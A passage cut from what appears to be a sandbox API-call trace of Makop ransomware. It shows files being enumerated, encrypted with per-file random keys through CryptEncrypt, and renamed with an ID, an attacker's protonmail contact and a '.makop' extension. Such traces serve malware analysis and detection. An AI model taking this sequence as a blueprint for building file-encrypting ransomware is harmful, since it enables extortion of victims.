hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.782] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0123.782] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.782] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.782] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.782] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.783] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8fd4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8fd4, lpOverlapped=0x0) returned 1 [0123.785] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8fe0, dwBufLen=0x8fe0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8fe0) returned 1 [0123.785] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.785] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8fe0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8fe0, lpOverlapped=0x0) returned 1 [0123.786] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.786] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x90b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.786] SetEndOfFile (hFile=0xf0) returned 1 [0123.793] GetProcessHeap () returned 0x48a0000 [0123.793] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.793] GetProcessHeap () returned 0x48a0000 [0123.793] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.793] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.794] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.795] CloseHandle (hObject=0xf0) returned 1 [0123.795] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50dbc900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50dbc900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145810.JPG", cAlternateFileName="")) returned 1 [0123.795] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0123.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.798] GetProcessHeap () returned 0x48a0000 [0123.798] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.798] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.798] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.798] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.803] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.803] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.803] GetProcessHeap () returned 0x48a0000 [0123.803] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.803] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.803] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.803] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.804] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.804] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.804] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.804] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0123.805] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.805] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.805] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.805] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.805] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8fb8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8fb8, lpOverlapped=0x0) returned 1 [0123.807] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8fc0, dwBufLen=0x8fc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8fc0) returned 1 [0123.808] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.808] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8fc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8fc0, lpOverlapped=0x0) returned 1 [0123.808] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.809] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.809] SetEndOfFile (hFile=0xf0) returned 1 [0123.816] GetProcessHeap () returned 0x48a0000 [0123.816] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.816] GetProcessHeap () returned 0x48a0000 [0123.817] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.817] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.817] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.818] CloseHandle (hObject=0xf0) returned 1 [0123.818] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5d84e00, ftCreationTime.dwHighDateTime=0x1c026b6, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5d84e00, ftLastWriteTime.dwHighDateTime=0x1c026b6, nFileSizeHigh=0x0, nFileSizeLow=0x8a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145879.JPG", cAlternateFileName="")) returned 1 [0123.818] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG") returned 63 [0123.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.821] GetProcessHeap () returned 0x48a0000 [0123.821] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.821] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.821] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.821] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x5, lpOverlapped=0x0) returned 1 [0123.825] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.825] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.825] GetProcessHeap () returned 0x48a0000 [0123.825] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.826] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.826] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.826] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.826] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.826] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.826] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.827] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0123.827] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.827] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.827] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.827] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.827] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8a5b, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8a5b, lpOverlapped=0x0) returned 1 [0123.829] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8a60, dwBufLen=0x8a60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8a60) returned 1 [0123.830] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.830] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8a60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8a60, lpOverlapped=0x0) returned 1 [0123.831] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.831] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.831] SetEndOfFile (hFile=0xf0) returned 1 [0123.839] GetProcessHeap () returned 0x48a0000 [0123.839] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.839] GetProcessHeap () returned 0x48a0000 [0123.839] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.839] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.839] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.841] CloseHandle (hObject=0xf0) returned 1 [0123.841] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7962500, ftCreationTime.dwHighDateTime=0x1c03d89, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7962500, ftLastWriteTime.dwHighDateTime=0x1c03d89, nFileSizeHigh=0x0, nFileSizeLow=0x84a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145895.JPG", cAlternateFileName="")) returned 1 [0123.841] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0123.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.842] GetProcessHeap () returned 0x48a0000 [0123.842] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.842] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.842] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.842] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0123.847] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.847] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.847] GetProcessHeap () returned 0x48a0000 [0123.847] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.847] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.847] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.847] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.847] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.848] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.848] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.848] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0123.848] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.848] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.848] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.848] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.848] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x84a6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x84a6, lpOverlapped=0x0) returned 1 [0123.850] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x84b0, dwBufLen=0x84b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x84b0) returned 1 [0123.851] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.851] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x84b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x84b0, lpOverlapped=0x0) returned 1 [0123.851] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.852] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.852] SetEndOfFile (hFile=0xf0) returned 1 [0123.859] GetProcessHeap () returned 0x48a0000 [0123.859] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.860] GetProcessHeap () returned 0x48a0000 [0123.860] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.860] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.860] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.862] CloseHandle (hObject=0xf0) returned 1 [0123.863] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912cb00, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa912cb00, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x9a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0145904.JPG", cAlternateFileName="")) returned 1 [0123.863] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG") returned 63 [0123.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.865] GetProcessHeap () returned 0x48a0000 [0123.865] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.865] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.865] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.865] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0123.869] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.869] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.870] GetProcessHeap () returned 0x48a0000 [0123.870] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.870] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.870] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.870] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, 